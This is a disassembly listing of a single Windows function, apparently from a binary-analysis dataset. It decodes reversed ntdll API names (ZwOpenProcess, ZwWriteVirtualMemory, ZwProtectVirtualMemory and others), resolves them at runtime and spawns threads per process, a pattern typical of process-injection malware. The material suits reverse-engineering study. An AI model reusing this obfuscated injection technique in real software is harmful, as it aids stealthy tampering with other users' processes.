Function at 0x40d440
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42aaa0
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x4310a0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x90], eax
mov ebx, 0x46a368
mov dword [ebp - 0x88], esi
mov dword [ebp - 4], esi
call fcn.0040c760
call fcn.0040c7e0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x84], eax
cmp eax, esi
je 0x40d8c4
mov ecx, dword [str.ssecorPnepOwZ]
mov dword [ebp - 0x2c], ecx
mov cx, word [0x42df00]
mov eax, dword [0x42defc]
mov edx, dword [0x42def8]
mov word [ebp - 0x20], cx
mov ecx, 5
mov esi, str.yromeMlautriVtcetorPwZ
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [str.yromeMlautriVetirWwZ]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x44], ecx
mov ecx, dword [0x42df30]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x38], ecx
mov ecx, 6
mov esi, str.ssecorPnoitamrofnIyreuQwZ
lea edi, [ebp - 0x78]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42df08]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x28], edx
mov edx, dword [str.esolCwZ]
mov dword [ebp - 0x18], eax
mov eax, dword [0x42df2c]
mov dword [ebp - 0x1c], edx
mov edx, dword [0x42df28]
mov dword [ebp - 0x3c], eax
mov al, byte [0x42df38]
mov dword [ebp - 0x40], edx
mov edx, dword [0x42df34]
mov byte [ebp - 0x30], al
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x34], edx
movsw word es:[edi], word [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d540
sub eax, edx
lea ecx, [ebp + eax - 0x2c]
lea eax, [ebp - 0x2c]
cmp eax, ecx
je 0x40d56d
dec ecx
cmp eax, ecx
je 0x40d56d
movzx edx, byte [eax]
mov byte [ebp - 0x79], dl
movzx edx, byte [ecx]
mov byte [eax], dl
movzx edx, byte [ebp - 0x79]
mov byte [ecx], dl
inc eax
jmp 0x40d550
lea eax, [ebp - 0x1c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d573
sub eax, edx
lea ecx, [ebp + eax - 0x1c]
lea eax, [ebp - 0x1c]
cmp eax, ecx
je 0x40d5a0
dec ecx
cmp eax, ecx
je 0x40d5a0
movzx edx, byte [eax]
mov byte [ebp - 0x79], dl
movzx edx, byte [ecx]
mov byte [eax], dl
movzx edx, byte [ebp - 0x79]
mov byte [ecx], dl
inc eax
jmp 0x40d583
lea eax, [ebp - 0x5c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d5a6
sub eax, edx
lea ecx, [ebp + eax - 0x5c]
lea eax, [ebp - 0x5c]
cmp eax, ecx
je 0x40d5d3
dec ecx
cmp eax, ecx
je 0x40d5d3
movzx edx, byte [eax]
mov byte [ebp - 0x79], dl
movzx edx, byte [ecx]
mov byte [eax], dl
movzx edx, byte [ebp - 0x79]
mov byte [ecx], dl
inc eax
jmp 0x40d5b6
lea eax, [ebp - 0x44]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d5e0
sub eax, edx
lea ecx, [ebp + eax - 0x44]
lea eax, [ebp - 0x44]
cmp eax, ecx
je 0x40d60d
dec ecx
cmp eax, ecx
je 0x40d60d
movzx edx, byte [eax]
mov byte [ebp - 0x79], dl
movzx edx, byte [ecx]
mov byte [eax], dl
movzx edx, byte [ebp - 0x79]
mov byte [ecx], dl
inc eax
jmp 0x40d5f0
lea eax, [ebp - 0x78]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d613
sub eax, edx
lea ecx, [ebp + eax - 0x78]
lea eax, [ebp - 0x78]
cmp eax, ecx
je 0x40d640
dec ecx
cmp eax, ecx
je 0x40d640
movzx edx, byte [eax]
mov byte [ebp - 0x79], dl
movzx edx, byte [ecx]
mov byte [eax], dl
movzx edx, byte [ebp - 0x79]
mov byte [ecx], dl
inc eax
jmp 0x40d623
mov edi, dword [ebp - 0x84]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
lea ecx, [ebp - 0x1c]
push ecx
push edi
mov dword [ebx], eax
call esi
lea edx, [ebp - 0x5c]
push edx
push edi
mov dword [ebx + 4], eax
call esi
mov dword [ebx + 8], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
lea ecx, [ebp - 0x78]
push ecx
push edi
mov dword [ebx + 0xc], eax
call esi
cmp dword [ebx], 0
mov dword [ebx + 0x10], eax
je 0x40d8c4
cmp dword [ebx + 4], 0
je 0x40d8c4
cmp dword [ebx + 8], 0
je 0x40d8c4
cmp dword [ebx + 0xc], 0
je 0x40d8c4
test eax, eax
je 0x40d8c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [ebp - 0x8c]
push edx
push eax
mov dword [ebx + 0x58], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x40d8c4
lea eax, [ebx + 0x5c]
push eax
call fcn.0040c8e0
test eax, eax
je 0x40d8c4
mov edi, dword [ebp - 0x90]
mov eax, 1
mov dword [ebp - 0x80], eax
xor esi, esi
mov dword [ebp - 0x84], esi
cmp esi, dword [ebx + 0x60]
jae 0x40d8b6
test eax, eax
je 0x40d8c4
cmp dword [ebp + 8], 0
jne 0x40d72c
mov eax, esi
lea ecx, [ebx + 0x5c]
call fcn.0040e080
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x8c]
jne 0x40d8a7
cmp esi, dword [ebx + 0x60]
jb 0x40d73b
push 0x80070057
call fcn.00404bf0
mov ecx, dword [ebx + 0x5c]
lea eax, [esi + esi*2]
add eax, eax
add eax, eax
add eax, eax
mov ecx, dword [ecx + eax]
mov dword [ebx + 0x54], ecx
cmp esi, dword [ebx + 0x60]
jb 0x40d75c
push 0x80070057
call fcn.00404bf0
mov ecx, dword [ebx + 0x5c]
mov edx, dword [ecx + eax + 0x10]
mov dword [ebx + 0x6c], edx
cmp esi, dword [ebx + 0x60]
jb 0x40d775
push 0x80070057
call fcn.00404bf0
mov ecx, dword [ebx + 0x5c]
mov eax, dword [ecx + eax + 0x14]
xor esi, esi
push esi
push esi
push ebx
push 0x40cff0
push esi
push esi
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x50], esi
mov dword [ebx + 0x34], esi
call fcn.0041dde6
add esp, 0x18
push esi
push esi
push ebx
push 0x40d0c0
push esi
push esi
mov dword [edi], eax
call fcn.0041dde6
mov ecx, dword [edi]
add esp, 0x18
mov dword [edi + 4], eax
cmp ecx, esi
je 0x40d7bb
cmp ecx, 0xffffffff
jne 0x40d7cc
cmp eax, esi
je 0x40d862
cmp eax, 0xffffffff
je 0x40d862
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1388
push eax
call esi
test eax, eax
je 0x40d7e5
mov dword [ebp - 0x80], 0
push 0
push 0
push ebx
push 0x40d1d0
push 0
push 0
call fcn.0041dde6
add esp, 0x18
mov dword [edi + 8], eax
test eax, eax
je 0x40d813
cmp eax, 0xffffffff
je 0x40d813
push 0x1388
push eax
call esi
test eax, eax
je 0x40d81a
mov dword [ebp - 0x80], 0
lea esi, [ebx + 0x38]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [ebx + 0x50], 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea esi, [ebx + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [ebx + 0x34], 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xffffffffffffffff
push 1
push edi
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, dword [ebx + 0x54]
push ecx
call fcn.0040cf40
jmp 0x40d865
mov dword [ebp - 0x80], esi
mov eax, dword [edi + 8]
xor esi, esi
cmp eax, esi
je 0x40d87d
cmp eax, 0xffffffff
je 0x40d87d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, dword [edi + 4]
cmp eax, esi
je 0x40d893
cmp eax, 0xffffffff
je 0x40d893
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 4], esi
mov eax, dword [edi]
cmp eax, esi
je 0x40d8a7
cmp eax, 0xffffffff
je 0x40d8a7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi], esi
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
inc esi
jmp 0x40d6f6
test eax, eax
je 0x40d8c4
mov dword [ebp - 0x88], 1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041d326
mov esp, ebp
pop ebp
ret 8